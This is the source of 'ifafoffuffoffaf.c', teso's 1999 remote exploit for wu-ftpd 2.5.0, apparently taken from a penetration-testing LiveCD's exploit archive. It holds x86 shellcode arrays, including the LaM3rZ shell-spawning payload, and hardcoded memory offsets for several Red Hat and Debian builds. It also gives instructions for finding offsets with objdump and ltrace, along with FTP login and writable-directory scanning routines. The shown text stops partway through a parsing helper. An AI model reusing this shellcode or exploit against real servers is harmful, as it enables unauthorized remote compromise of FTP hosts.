home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / ifafoffuffoffaf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  32KB  |  1,467 lines

  1. /*
  2.   <tmogg> ifaf ?
  3.   <typo_> integrated ftp attack facility
  4.   <ElCamTuf> ifafoffuffoffaf
  5.   <ElCamTuf> sounds much better
  6.  
  7. Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
  8. _----------------------------------------------------------------------------_
  9.     Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
  10.     but wuftpd is too boring to finetune it.. enjoy this sploit in the
  11.     meanwhile. Send me offsets (see below) to typo@scene.at.
  12. -____________________________________________________________________________-
  13.  
  14. Contributors:
  15.      Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
  16.      edi (found a way to only have to find 2(!) offsets, he is hardcore!)
  17.      lcamtuf (dziekuje tobie za ostatunia noc)
  18.      Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
  19.      scut (minor include and style fixes)
  20.      smiler (asm bugfixing), stealth (hellkit rox)
  21.  
  22. Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
  23. */
  24.  
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <sys/utsname.h>
  28. #include <sys/time.h>
  29. #include <netinet/in.h>
  30. #include <netdb.h>
  31. #include <fcntl.h>
  32. #include <unistd.h>
  33. #include <errno.h>
  34. #include <signal.h>
  35. #include <time.h>
  36. #include <getopt.h>
  37. #include <string.h>
  38. #include <stdlib.h>
  39. #include <stdio.h>
  40. #include <stdarg.h>
  41.  
  42. /* LaM3rZ shellcode */
  43. unsigned char lamerz[]=
  44.   "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  45.   "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  46.   "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
  47.   "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
  48.   "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
  49.   "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
  50.   "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
  51.   "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
  52.   "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
  53.   "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
  54.   "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
  55.  
  56. /* teso code: write(1,"teso\n",5); exit(0); */
  57. unsigned char testcode[] =
  58.   "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
  59.   "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
  60.   "\xcd\x80\xe8\xdf\xff\xff\xfftesox";
  61.  
  62. /* teso code: ioctl(, 0x5309, 0); */
  63. unsigned char cdcode[] =
  64.   "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
  65.   "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
  66.   "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
  67.   "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
  68.   "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
  69.  
  70. /* uh.. script kiddies suck. */
  71. char *shellcode = cdcode;
  72.  
  73. typedef struct dir *dirptr;
  74.  
  75. struct dir
  76.   {
  77.     char    *name;
  78.     dirptr  next;
  79.   }
  80. dirproto;
  81.  
  82. void    title (void);
  83. void    usage (const char *me);
  84. void    connect_to_ftp (void);
  85. void    log_into_ftp (void);
  86. void    parseargs (int argc, char **argv);
  87. void    cleanup_and_exit (void);
  88. int     x2port (const char *smtn);
  89. void    err (int syserr, const char *msg, ...);
  90. int     cwd (const char *path);
  91. int     mkd (char *name);
  92. int     rmd (char *name);
  93. int     is_writable (void);
  94. void    getpwd (void);
  95. int     recurse_writable (void);
  96. void    *xmalloc (size_t size);
  97. void    *xcalloc (int factor, size_t len);
  98. char    *xstrdup (const char *s);
  99. ssize_t xread (int fd, void *buf, size_t count);
  100. ssize_t xwrite (int fd, const void *buf, size_t count);
  101. int     xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
  102. int     xsocket (int domain, int type, int protocol);
  103. int     xsetsockopt (int s, int level, int optname, const void *optval,
  104.                      unsigned int optlen);
  105. int     xconnect (int  sockfd,  struct sockaddr *serv_addr, int addrlen);
  106. void    sighandler (int signal);
  107. struct hostent  *xgethostbyname (const char *name);
  108. struct hostent  *xgethostbyaddr (const char *addr, int len, int type);
  109. void    putserv (const char *fmt, ...);
  110. char    *getline (void);
  111. char    *getmsg (const char *msg);
  112. int     wuftpd_250_sploitit (void);
  113. dirptr  newdir (char *name);
  114. char    *getdir (char *stat);
  115. char    *int2char (int addr);
  116. int     check_test_return();
  117.  
  118. /*----------------------------------------------------------------
  119. ***                     How to get offsets                     ***
  120. ------------------------------------------------------------------
  121. Edis elite way of getting offsets:
  122.  
  123. objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
  124. grep "\$0x80" | awk '{print $8}'
  125. ------------------------------------------------------------------
  126. My lame way of getting offsets:
  127. (as many people have asked: search for ltrace at http://freshmeat.net/)
  128.  
  129. tty1:
  130. nc 0 21
  131. USER someuser
  132. PASS hispass
  133. tty2:
  134. ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
  135. tty1:
  136. CWD /not/current/dir
  137. MOO
  138. QUIT
  139. tty2:
  140. first argument of first SYS_chdir is mapped_path offset.
  141. first argument of longjmp is errcatch offset
  142. ------------------------------------------------------------------
  143. try 4096 and/or 1024 for maxpathlen (works 99% of the time).
  144. ------------------------------------------------------------------*/
  145.  
  146. struct sploitdata
  147.   {
  148.     char            *banner;
  149.     char            *desc;
  150.     char            pad_eax;
  151.     unsigned int    maxpathlen;
  152.     unsigned int    mapped_path;
  153.     unsigned int    errcatch;
  154.     int             (*code)();
  155.     int             need_writable;
  156.   };
  157.  
  158. #define START_MAPPED 0x08060000
  159.  
  160. struct sploitdata spdata[] =
  161.     {
  162.       {
  163.         "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
  164.         "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
  165.         0,
  166.         4096,
  167.         0x0806a1e0,
  168.         0x08077fc0,
  169.         wuftpd_250_sploitit,
  170.         1,
  171.       },
  172.       {
  173.         "Fri May 21 10:45:57 EDT 1999",
  174.         "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
  175.         0,
  176.         1024,
  177.         0x08066890,
  178.         0x0806fcc0,
  179.         wuftpd_250_sploitit,
  180.         1,
  181.       },
  182.       {
  183.         "Tue Jun 8 11:19:44 EDT 1999",
  184.         "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
  185.         0,
  186.         1024,
  187.         0x08067504,
  188.         0x08077fc0,
  189.         wuftpd_250_sploitit,
  190.         1,
  191.       },
  192.       {
  193.         "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
  194.         "debian 2.1 - standard source compilation",
  195.         0,
  196.         1024,
  197.         0x806928c,
  198.         0x8071a80,
  199.         wuftpd_250_sploitit,
  200.         1,
  201.       },
  202.       {
  203.         "FTP server (Version wu-2.5.0(1)",
  204.         "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
  205.         0,
  206.         4096,
  207.         0x8068f80,
  208.         0x8076d60,
  209.         wuftpd_250_sploitit,
  210.         1,
  211.       },
  212.       {
  213.         NULL,
  214.         NULL,
  215.         0,
  216.         0,
  217.         0,
  218.         0,
  219.         NULL,
  220.         0,
  221.       }
  222.     };
  223.  
  224. struct sploitdata *sptr = spdata;
  225.  
  226. int     debug = 0,
  227.                 disp = 1,
  228.                        fd = 0,
  229.                             nostat = 1,
  230.                                      offset_selected = 0;
  231.  
  232. struct tesopt
  233.   {
  234.     char                    *user;
  235.     char                    *host;
  236.     char                    *pass;
  237.     char                    *cwd;
  238.     char                    *rev;
  239.     char                    *dirname;
  240.     int                     dirlen;
  241.     char                    testonly;
  242.     char                    dirscanonly;
  243.     unsigned short int      sport;
  244.     unsigned short int      port;
  245.     struct hostent          *he;
  246.   }
  247. tesopt;
  248.  
  249. struct hostinf
  250.   {
  251.     char    *header;
  252.     char    *pwd;
  253.     char    *writable_dir;
  254.     int     pwdlen;
  255.   }
  256. hostinf;
  257.  
  258. #define COLOR
  259.  
  260. #ifdef COLOR
  261. #define C_NORM "\E[0m"
  262. #define C_BOLD "\E[1m"
  263. #define C_GREEN "\E[32m"
  264. #define C_RED "\E[31m"
  265. #define C_BROWN "\E[33m"
  266. #define C_BLUE "\E[34m"
  267. #define C_PINK "\E[35m"
  268. #define C_CYAN "\E[36m"
  269. #define C_YELL  "\E[33m"
  270. #else
  271. #define C_NORM ""
  272. #define C_BOLD ""
  273. #define C_GREEN ""
  274. #define C_RED ""
  275. #define C_BROWN ""
  276. #define C_BLUE ""
  277. #define C_PINK ""
  278. #define C_CYAN ""
  279. #define C_YELL  ""
  280. #endif
  281.  
  282. /* title
  283.  *
  284.  * print title
  285.  *
  286.  * no return value
  287.  */
  288. void
  289. title (void)
  290. {
  291.   printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
  292.           C_NORM"\n");
  293.   return;
  294. }
  295.  
  296. /* newdir
  297.  *
  298.  * return a pointer to a new dir with name name
  299.  *
  300.  * pointer to dir structure
  301.  */
  302. dirptr
  303. newdir (char *name)
  304. {
  305.   dirptr      tmp;
  306.  
  307.   tmp = (dirptr) xmalloc (sizeof (dirproto));
  308.   tmp->name = xstrdup (name);
  309.   tmp->next = NULL;
  310.  
  311.   return (tmp);
  312. }
  313.  
  314. /* usage
  315.  *
  316.  * print usage
  317.  *
  318.  * no return value
  319.  */
  320. void
  321. usage (const char *me)
  322. {
  323.   struct sploitdata   *cow;
  324.   int                 i = 0;
  325.  
  326.   /*    printf ("usage: %s\n\n", me); */
  327.   printf ("-h              - this help\n"
  328.           "-s <server>     - specify server\n"
  329.           "-p <port>       - destination port\n"
  330.           "-f <sourceport> - source port\n"
  331.           "-v(v)           - increase verboseness, use twice for full verboseness\n"
  332.           "-u <user>       - user name to use for login\n"
  333.           "-P <pass>       - password to use for login\n"
  334.           "-c <startdir>   - directory to cwd to after login\n"
  335.           "-d <writedir>   - directory to test writeability with\n"
  336.           "-r <revhost>    - revlookup this host sees you with\n"
  337.           "-D <dirlen>     - specifies the directory length\n"
  338.           "-T              - use test shellcode (prints success, spawns no shell)\n"
  339.           "-t <type>:\n");
  340.  
  341.   for (cow = spdata ; cow->desc ; ++cow)
  342.     {
  343.       printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
  344.               C_BOLD, C_NORM, cow->banner, cow->desc);
  345.     }
  346.   printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
  347.  
  348.   exit (EXIT_FAILURE);
  349. }
  350.  
  351. /* sighandler
  352.  *
  353.  * handle signals
  354.  *
  355.  * no return value
  356.  */
  357. void
  358. sighandler (const int signal)
  359. {
  360.   printf ("received signal: %d... exiting!\n", signal);
  361.   cleanup_and_exit ();
  362. }
  363.  
  364. /* err
  365.  *
  366.  * print an error message. if arg0 is set add an errno message (perror like)
  367.  * exit afterwards
  368.  *
  369.  * no return value
  370.  */
  371. void
  372. err (const int syserr, const char *msg, ...)
  373. {
  374.   va_list ap;
  375.  
  376.   printf ("%serr:%s ", C_RED, C_NORM);
  377.  
  378.   va_start (ap, msg);
  379.   vprintf (msg, ap);
  380.   va_end (ap);
  381.  
  382.   if (syserr)
  383.     {
  384.       printf (": %s\n", sys_errlist[errno]);
  385.     }
  386.   else
  387.     {
  388.       printf ("\n");
  389.     }
  390.  
  391.   cleanup_and_exit();
  392.  
  393.   return;
  394. }
  395.  
  396. /* parseargs
  397.  *
  398.  * parse arguments
  399.  *
  400.  * no return value (exit on failure)
  401.  */
  402. void
  403. parseargs (int argc, char **argv)
  404. {
  405.   char    c;
  406.  
  407.   opterr = 0;
  408.   tesopt.user = "anonymous";
  409.   tesopt.pass = "m@y.kr";
  410.   tesopt.dirname = "tesotest";
  411.   tesopt.port = 21;
  412.   tesopt.sport = 666;
  413.   tesopt.cwd = "";
  414.   tesopt.dirlen = 255;
  415.   tesopt.testonly = 0;
  416.   tesopt.dirscanonly = 0;
  417.  
  418.   while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF)
  419.     {
  420.       switch (c)
  421.         {
  422.         case 'v':
  423.           ++debug;
  424.           break;
  425.         case 'h':
  426.           usage (argv[0]);
  427.           break;
  428.         case 's':
  429.           tesopt.host = optarg;
  430.           break;
  431.         case 'p':
  432.           if (optarg != NULL)
  433.             tesopt.port = x2port (optarg);
  434.           break;
  435.         case 'f':
  436.           if (optarg != NULL)
  437.             tesopt.sport = x2port (optarg);
  438.           break;
  439.         case 'u':
  440.           if (optarg != NULL)
  441.             tesopt.user = optarg;
  442.           break;
  443.         case 'P':
  444.           if (optarg != NULL)
  445.             tesopt.pass = optarg;
  446.           break;
  447.         case 'c':
  448.           if (optarg != NULL)
  449.             tesopt.cwd = optarg;
  450.           break;
  451.         case 'd':
  452.           if (optarg != NULL)
  453.             tesopt.dirname = optarg;
  454.           break;
  455.         case 'r':
  456.           if (optarg != NULL)
  457.             tesopt.rev = xstrdup (optarg);
  458.           break;
  459.         case 'D':
  460.           tesopt.dirlen = atoi(optarg);
  461.           break;
  462.         case 't':
  463.           sptr += atoi(optarg);
  464.           offset_selected = 1;
  465.           if (!sptr->desc)
  466.             {
  467.               err (0, "invalid offset set");
  468.             }
  469.           break;
  470.  
  471.         case 'T':
  472.           shellcode = testcode;
  473.           tesopt.testonly = 1;
  474.           break;
  475.         case 'o':
  476.           tesopt.dirscanonly = 1;
  477.           break;
  478.  
  479.         }
  480.     }
  481.  
  482.   if (tesopt.host == NULL)
  483.     err (0, "server not specified (see -h)");
  484.   if (tesopt.port == 0)
  485.     err (0, "port not or incorrectly specified (see -h)");
  486.   if (tesopt.sport == 0)
  487.     err (0, "sport not or incorrectly specified (see -h)");
  488.  
  489.   if (tesopt.dirlen == 0)
  490.     err (0, "illegal dirlen!\n");
  491.  
  492.   tesopt.he = xgethostbyname (tesopt.host);
  493.  
  494.   return;
  495. }
  496.  
  497. struct hostent *
  498.       xgethostbyname (const char *name)
  499.   {
  500.     struct hostent  *tmp;
  501.  
  502.     tmp = gethostbyname (name);
  503.     if (tmp == NULL)
  504.       err (1, "cannot gethostbyname");
  505.  
  506.     return (tmp);
  507.   }
  508.  
  509. struct hostent *
  510.       xgethostbyaddr (const char *addr, int len, int type)
  511.   {
  512.     struct hostent  *tmp;
  513.  
  514.     tmp = gethostbyaddr (addr, len, type);
  515.     if (tmp == NULL)
  516.       err(1,"cannot gethostbyaddr");
  517.  
  518.     return (tmp);
  519.   }
  520.  
  521. /* xmalloc
  522.  *
  523.  * wrap malloc with error handling
  524.  *
  525.  * return or abort
  526.  */
  527. void *
  528. xmalloc (size_t size)
  529. {
  530.   void    *tmp = malloc (size);
  531.  
  532.   if (tmp == NULL)
  533.     err (1, "malloc failed");
  534.  
  535.   return (tmp);
  536. }
  537.  
  538. /* xcalloc
  539.  *
  540.  * wrap calloc with error handling
  541.  *
  542.  * return or abort
  543.  */
  544. void *
  545. xcalloc (int factor, size_t len)
  546. {
  547.   void    *new = calloc (factor, len);
  548.  
  549.   if (new == NULL)
  550.     err (1, "calloc failed");
  551.  
  552.   return (new);
  553. }
  554.  
  555. /* xstrdup
  556.  *
  557.  * wrap strdup with error handling
  558.  *
  559.  * return or abort
  560.  */
  561. char *
  562. xstrdup (const char *s)
  563. {
  564.   char    *tmp;
  565.  
  566.   tmp = strdup (s);
  567.   if (tmp == NULL)
  568.     err (1, "strdup failed");
  569.  
  570.   return (tmp);
  571. }
  572.  
  573. /* xread
  574.  *
  575.  * read with error handling
  576.  *
  577.  * return length of readen data
  578.  */
  579. ssize_t
  580. xread (int fd, void *buf, size_t count)
  581. {
  582.   int     tmp;
  583.  
  584.   tmp = read (fd, buf, count);
  585.   if (tmp < 1)
  586.     err (1, "read failed");
  587.  
  588.   return (tmp);
  589. }
  590.  
  591. /* xwrite
  592.  *
  593.  * write with error handling
  594.  *
  595.  * return length of written data
  596.  */
  597. ssize_t
  598. xwrite (int fd, const void *buf, size_t count)
  599. {
  600.   int     tmp;
  601.  
  602.   tmp = write (fd, buf, count);
  603.   if (tmp < 0)
  604.     err (1, "write failed");
  605.  
  606.   return (tmp);
  607. }
  608.  
  609. /* xbind
  610.  *
  611.  * bind with error handling
  612.  *
  613.  * return bound socket
  614.  */
  615. int
  616. xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
  617. {
  618.   int     tmp;
  619.  
  620.   tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
  621.   if (tmp < 0)
  622.     err (1, "bind failed");
  623.  
  624.   return (tmp);
  625. }
  626.  
  627. /* xsocket
  628.  *
  629.  * socket with error handling
  630.  *
  631.  * return allocated socket descriptor
  632.  */
  633. int
  634. xsocket (int domain, int type, int protocol)
  635. {
  636.   int     tmp;
  637.  
  638.   tmp = socket (domain, type, protocol);
  639.   if (tmp < 0)
  640.     err (1, "socket failed");
  641.  
  642.   return (tmp);
  643. }
  644.  
  645. /* xsetsockopt
  646.  *
  647.  * setsockopt with error handling
  648.  */
  649. int
  650. xsetsockopt (int s, int level, int optname, const void *optval,
  651.              unsigned int optlen)
  652. {
  653.   int     tmp;
  654.  
  655.   tmp = setsockopt (s, level, optname, optval, optlen);
  656.   if (tmp < 0)
  657.     err (1, "setsockopt failed");
  658.  
  659.   return (tmp);
  660. }
  661.  
  662. /* xconnect
  663.  *
  664.  * connect with error handling
  665.  */
  666. int
  667. xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
  668. {
  669.   int     tmp;
  670.  
  671.   tmp = connect (sockfd, serv_addr, addrlen);
  672.   if (tmp < 0)
  673.     err (1, "connect failed");
  674.  
  675.   return (tmp);
  676. }
  677.  
  678.  
  679. /* connect_to_ftp
  680.  *
  681.  * connect to ftpserver and resolve local ip
  682.  *
  683.  * return nothing
  684.  */
  685. void
  686. connect_to_ftp (void)
  687. {
  688.   int                 i = 1;
  689.   struct sockaddr_in  sin;
  690.   struct hostent              *he;
  691.  
  692.  
  693.   fd = xsocket (AF_INET, SOCK_STREAM, 0);
  694.   xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
  695.  
  696.   bzero (&sin, sizeof (sin));
  697.  
  698.   sin.sin_family = AF_INET;
  699.   //    sin.sin_port = htons (tesopt.sport);
  700.   sin.sin_addr.s_addr = 0;
  701.  
  702.   xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
  703.  
  704.   sin.sin_port = htons (tesopt.port);
  705.   sin.sin_family = AF_INET;
  706.  
  707.   memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
  708.  
  709.   xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
  710.  
  711.   /* this is a good time to get our revlookup (if not user defined) */
  712.   if (tesopt.rev == NULL)
  713.     {
  714.       i = sizeof (sin);
  715.       getsockname (fd, (struct sockaddr *) &sin, &i);
  716.       he = gethostbyaddr ((char *) &sin.sin_addr,
  717.                           sizeof (sin.sin_addr), AF_INET);
  718.       tesopt.rev = xstrdup (he->h_name);
  719.     }
  720.   printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
  721.  
  722.   return;
  723. }
  724.  
  725. /* putserv
  726.  *
  727.  * send data to the server
  728.  */
  729. void
  730. putserv (const char *fmt, ...)
  731. {
  732.   va_list         ap;
  733.   unsigned char   output[1024];
  734.   int             i, total;
  735.  
  736.   memset (output, '\0', sizeof (output));
  737.   va_start (ap, fmt);
  738.   vsnprintf (output, sizeof (output) - 1, fmt, ap);
  739.   va_end (ap);
  740.  
  741.   /* this is edis code
  742.    */
  743.   total = strlen (output);
  744.   for (i = 0; i < total; i++)
  745.     {
  746.       if (output[i] == 0xff)
  747.         {
  748.           memmove (output + i + 1, output + i, total - i);
  749.           total++;
  750.           i++;
  751.         }
  752.     }
  753.  
  754.   if (disp != 0 && (debug > 1))
  755.     printf ("%s%s%s", C_BLUE, output, C_NORM);
  756.  
  757.   xwrite (fd, output, total);
  758.  
  759.   return;
  760. }
  761.  
  762. #define LINEBUFLEN 8192
  763. char    linebuf[LINEBUFLEN];  /* saves us free()ing trouble. */
  764.  
  765. /* getline
  766.  *
  767.  * get next line from server or local buffer
  768.  */
  769. char *
  770. getline (void)
  771. {
  772.   char    y[2];
  773.   int     i = 0;
  774.  
  775.   memset (linebuf, '\0', sizeof (linebuf));
  776.   strcpy (y, "x");
  777.  
  778.   while (strncmp (y, "\n", 1) != 0)
  779.     {
  780.       if (i > (sizeof (linebuf) + 2))
  781.         {
  782.           err (0, "getline() buffer full");
  783.         }
  784.       i += xread (fd, y, 1);
  785.       strcat (linebuf, y);
  786.     }
  787.  
  788.   if (disp != 0 && debug > 0)
  789.     {
  790. #ifdef COLOR
  791.       if (nostat != 0)
  792.         {
  793.           char    color[64];
  794.  
  795.           memset (color, '\0', sizeof (color));
  796.  
  797.           switch (linebuf[0])
  798.             {
  799.             case '2':
  800.               strcpy (color, C_CYAN);
  801.               break;
  802.             case '3':
  803.               strcpy (color, C_BROWN);
  804.               break;
  805.             case '4':
  806.               strcpy (color, C_RED);
  807.               break;
  808.             case '5':
  809.               strcpy (color, C_RED);
  810.               break;
  811.             default:
  812.               break;
  813.             }
  814.  
  815.           printf ("%s", color);
  816.         }
  817. #endif
  818.       if (nostat != 0 || debug > 1)
  819.         printf ("%s", linebuf);
  820. #ifdef COLOR
  821.       if (nostat != 0)
  822.         printf ("%s", C_NORM);
  823. #endif
  824.     }
  825.  
  826.   return (linebuf);
  827. }
  828.  
  829. /* getmsg
  830.  *
  831.  * discard lines until expected response or error is reported
  832.  */
  833. char *
  834. getmsg (const char *msg)
  835. {
  836.   char    *line;
  837.   int     i = strlen (msg);
  838.  
  839.   do
  840.     {
  841.       line = getline ();
  842.     }
  843.   while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
  844.  
  845.   return (line);
  846. }
  847.  
  848. /* log_into_ftp
  849.  *
  850.  * log into the ftp server given the login name and password
  851.  *
  852.  * return nothing
  853.  */
  854. void
  855. log_into_ftp (void)
  856. {
  857.   char    *line;
  858.   char    foundmatch=0;
  859.  
  860.   line = getmsg ("220 ");
  861.   hostinf.header = xstrdup (line);
  862.  
  863.   if (!debug)
  864.     printf("%s", line);
  865.   if (!offset_selected)
  866.     {
  867.       for (sptr = spdata ; sptr->banner ; ++sptr)
  868.         {
  869.           if (strstr(line, sptr->banner))
  870.             {
  871.               foundmatch=1;
  872.               break;
  873.             }
  874.         }
  875.       if (!foundmatch)
  876.         err(0, "No offset selected, and no matching banner found!");
  877.     }
  878.  
  879.   printf ("Using offsets from: %s\n", sptr->desc);
  880.  
  881.   putserv ("USER %s\n", tesopt.user);
  882.   getmsg ("331 ");
  883.   putserv ("PASS %s\n", tesopt.pass);
  884.   line = getmsg ("230 ");
  885.   if (strncmp ("5", line, 1) == 0)
  886.     err (0, "login not accepted!\n");
  887.  
  888.   if (strlen (tesopt.cwd) > 0)
  889.     {
  890.       if (cwd (tesopt.cwd) == 0)
  891.         {
  892.           err (0, "initial CWD failed.");
  893.         }
  894.     }
  895.  
  896.   getpwd ();
  897.  
  898.   return;
  899. }
  900.  
  901. /* recurse_writable
  902.  *
  903.  * recursively scans for writable dirs, starting in CWD
  904.  *
  905.  * return 1 for CWD is writable
  906.  * return 0 for no writable dir found
  907.  */
  908. int
  909. recurse_writable (void)
  910. {
  911.   dirptr  dirroot = NULL,
  912.                     current = NULL,
  913.                               prev = NULL;
  914.   char    *line = "",
  915.                   *tmp = "";
  916.  
  917.   if (is_writable () != 0)
  918.     return (1);
  919.  
  920.   nostat = 0;
  921.   putserv ("STAT .\n");
  922.  
  923.   while (strncmp (line, "213 ", 4) != 0)
  924.     {
  925.       line = getline ();
  926.       tmp = getdir (line);
  927.  
  928.       if (tmp == NULL)
  929.         continue;
  930.       if (dirroot == NULL)
  931.         {
  932.           current = dirroot = newdir (tmp);
  933.           continue;
  934.         }
  935.  
  936.       current->next = newdir (tmp);
  937.       current = current->next;
  938.     }
  939.  
  940.   nostat = 1;
  941.   current = dirroot;
  942.  
  943.   while (current != NULL)
  944.     {
  945.       if (cwd (current->name))
  946.         {
  947.           if (recurse_writable ())
  948.             return (1);
  949.           cwd ("..");
  950.         }
  951.  
  952.       prev = current;
  953.       current = current->next;
  954.       free (prev->name);
  955.       free (prev);
  956.     }
  957.  
  958.   return (0);
  959. }
  960.  
  961. /* mkd
  962.  *
  963.  * make a directory
  964.  *
  965.  * return 0 on success
  966.  * return 1 if the directory already exists
  967.  * retrun 2 on error
  968.  */
  969. int
  970. mkd (char *name)
  971. {
  972.   char    *line;
  973.  
  974.   putserv ("MKD %s\n", name);
  975.   line = getmsg ("257 ");
  976.  
  977.   if (strncmp ("521 ", line, 4) == 0)
  978.     return (1);
  979.  
  980.   if (strncmp ("257 ", line, 4) == 0)
  981.     return (0);
  982.  
  983.   return (2);
  984. }
  985.  
  986.  
  987. /* rmd
  988.  *
  989.  * remove a directory
  990.  *
  991.  * return 0 on success
  992.  * return 1 on failure
  993.  */
  994. int
  995. rmd (char *name)
  996. {
  997.   char    *line;
  998.  
  999.   putserv ("RMD %s\n", name);
  1000.   line = getmsg ("250 ");
  1001.  
  1002.   if (strncmp("250 ", line, 4) == 0)
  1003.     return (0);
  1004.  
  1005.   return (1);
  1006. }
  1007.  
  1008. /* is_writeable
  1009.  *
  1010.  * check whether the current working directory is writeable
  1011.  *
  1012.  * return 1 if it is
  1013.  * return 0 if it is not
  1014.  */
  1015. int
  1016. is_writable (void)
  1017. {
  1018.   int     i = 0,
  1019.               is = 0;
  1020.  
  1021. redo:
  1022.   if (++i > 3)
  1023.     return (0);
  1024.  
  1025.   is = mkd (tesopt.dirname);
  1026.   if (is == 1)
  1027.     {
  1028.       printf ("leet.. our file already exists.. delete and retry\n");
  1029.       rmd (tesopt.dirname);
  1030.  
  1031.       goto redo;
  1032.     }
  1033.   else if (is == 0)
  1034.     {
  1035.       rmd (tesopt.dirname);
  1036.  
  1037.       return (1);
  1038.     }
  1039.  
  1040.   return (0);
  1041. }
  1042.  
  1043. /* cwd
  1044.  *
  1045.  * change current working directory on the ftp server
  1046.  *
  1047.  * return 1 on success
  1048.  * return 0 on failure
  1049.  */
  1050. int
  1051. cwd (const char *path)
  1052. {
  1053.   char    *line;
  1054.  
  1055.   if (debug != 0)
  1056.     printf ("CWD %s\n", path);
  1057.  
  1058.   putserv ("CWD %s\n", path);
  1059.   line = getmsg ("250 ");
  1060.  
  1061.   if (strncmp ("250 ",line, 4) == 0)
  1062.     return (1);
  1063.  
  1064.   return (0);
  1065. }
  1066.  
  1067. /* getpwd
  1068.  *
  1069.  * sets hostinf.pwd to CWD
  1070.  *
  1071.  * returns nothing
  1072.  */
  1073. void
  1074. getpwd (void)
  1075. {
  1076.   char    *tmp,
  1077.   *line;
  1078.   char    *chr,
  1079.   *rchr;
  1080.  
  1081.   putserv ("PWD\n");
  1082.   line = getmsg ("257 ");
  1083.   if (strncmp ("257 ", line, 4) != 0)
  1084.     err (0, "getpwd failed: incorrect answer: %s", line);
  1085.  
  1086.   /* too long, but for sure long enough. */
  1087.   tmp = xcalloc (strlen (line) + 1, 1);
  1088.  
  1089.   chr = strchr (line, '"');
  1090.   rchr = strrchr (line, '"');
  1091.  
  1092.   if (chr == NULL)
  1093.     err (0, "no \"'s in getpwd.");
  1094.  
  1095.   if (chr == rchr)
  1096.     err (0, "only one \" in getpwd.");
  1097.  
  1098.   if ((rchr - chr) < 2)
  1099.     err (0, "pwd too short?");
  1100.  
  1101.   strncat (tmp, chr + 1, rchr - chr - 1);
  1102.  
  1103.   if (hostinf.pwd != NULL)
  1104.     free (hostinf.pwd);
  1105.  
  1106.   hostinf.pwd = xstrdup (tmp);
  1107.   free (tmp);
  1108.  
  1109.   hostinf.pwdlen = strlen (hostinf.pwd);
  1110.   /*    printf("current pwd is %s\n", hostinf.pwd); */
  1111. }
  1112.  
  1113. /* getdir
  1114.  *
  1115.  * get directory from a STAT string (parsing works with wuftpd AND proftpd)
  1116.  *
  1117.  * return pointer to directory name on success
  1118.  * return NULL on failure/not a directory
  1119.  */
  1120. char *
  1121. getdir (char *stat)
  1122. {
  1123.   char    *dir = stat;
  1124.  
